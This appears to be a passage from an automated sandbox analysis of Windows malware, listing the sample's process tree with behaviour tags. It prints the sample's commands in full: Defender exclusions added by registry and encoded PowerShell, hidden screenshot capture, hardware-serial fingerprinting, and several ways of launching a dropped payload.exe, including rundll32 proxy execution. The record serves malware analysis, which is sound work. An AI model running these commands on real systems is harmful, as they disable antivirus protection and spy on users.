      Windows security bypass
      PID:1788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5308
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
      4⤵
      PID:2904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABQAGEAYwBrAGEAZwBlAEMAYQBjAGgAZQBfADgAMAAxAGIAYgBlAFwASQBuAHMAdABhAGwAbABlAHIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwATQBvAGQAdQBsAGUAcwBcAHQAZQBtAHAAXABtAHMAaAAwAGEAbQA4ADkAMQAwADEAMwAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwATQBvAGQAdQBsAGUAcwBcAHQAZQBtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAE0AbwBkAHUAbABlAHMAXAB0AGUAbQBwAFwAbQBzAGgAMABhAG0AOAA5ADEAMAAxADMAXABwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAHQAbQBwACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAcABhAHkAbABvAGEAZAAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:572
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABQAGEAYwBrAGEAZwBlAEMAYQBjAGgAZQBfADgAMAAxAGIAYgBlAFwASQBuAHMAdABhAGwAbABlAHIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwATQBvAGQAdQBsAGUAcwBcAHQAZQBtAHAAXABtAHMAaAAwAGEAbQA4ADkAMQAwADEAMwAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwATQBvAGQAdQBsAGUAcwBcAHQAZQBtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAE0AbwBkAHUAbABlAHMAXAB0AGUAbQBwAFwAbQBzAGgAMABhAG0AOAA5ADEAMAAxADMAXABwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAHQAbQBwACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAcABhAHkAbABvAGEAZAAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\wusetup_b21807.png\"); $g.Dispose(); $bmp.Dispose()""
    3⤵
    - Hide Artifacts: Hidden Window
    - Suspicious use of WriteProcessMemory
    PID:3680
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\wusetup_b21807.png\"); $g.Dispose(); $bmp.Dispose()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4564
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic baseboard get serialnumber /value
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5744
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic diskdrive get serialnumber /value
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6100
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic baseboard get serialnumber /value
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3472
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic diskdrive get serialnumber /value
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\dllhost_7a8916.png\"); $g.Dispose(); $bmp.Dispose()""
    3⤵
    - Hide Artifacts: Hidden Window
    - Suspicious use of WriteProcessMemory
    PID:3296
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\dllhost_7a8916.png\"); $g.Dispose(); $bmp.Dispose()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1900
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic baseboard get serialnumber /value
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5952
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic diskdrive get serialnumber /value
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5768
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic baseboard get serialnumber /value
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1880
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic diskdrive get serialnumber /value
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\PackageCache_801bbe\Installer.exe'""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4344
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\PackageCache_801bbe\Installer.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\PackageCache_801bbe\Installer.exe""
    3⤵
    - Executes a command shell one-liner
    PID:4352
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\PackageCache_801bbe\Installer.exe"
      4⤵
      PID:3012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013'""
    3⤵
    - Executes a command shell one-liner
    PID:6028
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013""
    3⤵
    - Executes a command shell one-liner
    PID:4820
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013"
      4⤵
      PID:2656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Modules\temp'""
    3⤵
    - Executes a command shell one-liner
    PID:4328
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Modules\temp'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Modules\temp""
    3⤵
    - Executes a command shell one-liner
    PID:4856
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Modules\temp"
      4⤵
      PID:940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe'""
    3⤵
    - Executes a command shell one-liner
    PID:4236
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe""
    3⤵
    - Executes a command shell one-liner
    PID:3544
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe"
      4⤵
      PID:4124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe' -ErrorAction SilentlyContinue""
    3⤵
    - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
    - Hide Artifacts: Hidden Window
    - Hide Artifacts: Ignore Process Interrupts
    PID:2140
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\svcrun_750c8c.png\"); $g.Dispose(); $bmp.Dispose()""
    3⤵
    - Hide Artifacts: Hidden Window
    PID:4608
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3200
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\svcrun_750c8c.png\"); $g.Dispose(); $bmp.Dispose()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    PID:600
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic baseboard get serialnumber /value
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    PID:4624
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic diskdrive get serialnumber /value
      4⤵
      PID:3232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    PID:200
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic baseboard get serialnumber /value
      4⤵
      PID:1244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    PID:5404
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic diskdrive get serialnumber /value
      4⤵
      PID:1792
- - C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe
    C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:1976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe""
    3⤵
    - Executes a command shell one-liner
    PID:1036
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe"
      4⤵
      Executes a command shell one-liner
      PID:5944
    - - C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "explorer.exe "C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe""
    3⤵
    - Executes a command shell one-liner
    PID:2384
  - - C:\Windows\explorer.exe
      explorer.exe "C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe"
      4⤵
      PID:1508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe""
    3⤵
    - System Binary Proxy Execution: Rundll32
    PID:828
  - - C:\Windows\system32\rundll32.exe
      rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe"
      4⤵
      System Binary Proxy Execution: Rundll32
      PID:1000
    - - C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe' -WindowStyle Hidden""
    3⤵
    - Hide Artifacts: Hidden Window
    PID:984
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4488
    - - C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wusetup_286212.vbs""
    3⤵
    - Executes a command shell one-liner
    PID:5748
  - - C:\Windows\system32\wscript.exe
      wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wusetup_286212.vbs"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:5436
    - - C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\dllhost_11d259.png\"); $g.Dispose(); $bmp.Dispose()""
    3⤵
    - Hide Artifacts: Hidden Window
    PID:240
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\dllhost_11d259.png\"); $g.Dispose(); $bmp.Dispose()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    PID:2792
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic baseboard get serialnumber /value
      4⤵
      PID:4600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    PID:3936
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic diskdrive get serialnumber /value
      4⤵
      PID:2864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    PID:2016
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic baseboard get serialnumber /value
      4⤵
      PID:2904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    PID:3012
  - - C:\Windows\System32\Wbem\WMIC.exe
